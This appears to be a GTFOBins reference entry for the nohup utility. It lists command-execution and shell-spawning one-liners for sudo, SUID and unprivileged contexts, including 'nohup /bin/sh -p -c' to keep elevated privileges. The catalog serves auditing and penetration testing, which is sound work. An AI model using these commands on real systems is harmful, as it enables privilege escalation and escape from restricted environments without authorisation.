Catalog GTFOBins

GTFO · Tool

nohup

6 techniques Linux · macOSGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation LinuxmacOS

The `nohup.out` file contains the standard output and error of the command.

nohup /path/to/command
cat nohup.out
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation LinuxmacOS

The `nohup.out` file contains the standard output and error of the command.

nohup /path/to/command
cat nohup.out
Context
suid
Native
command
MITRE
T1059

command

Execution LinuxmacOS

The `nohup.out` file contains the standard output and error of the command.

nohup /path/to/command
cat nohup.out
Context
unprivileged
Native
command
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS

This creates a `nohup.out` file in the current working directory.

nohup /bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS

This creates a `nohup.out` file in the current working directory.

nohup /bin/sh -p -c '/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty'
Context
suid
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS

This creates a `nohup.out` file in the current working directory.

nohup /bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'
Context
unprivileged
Native
shell
MITRE
T1059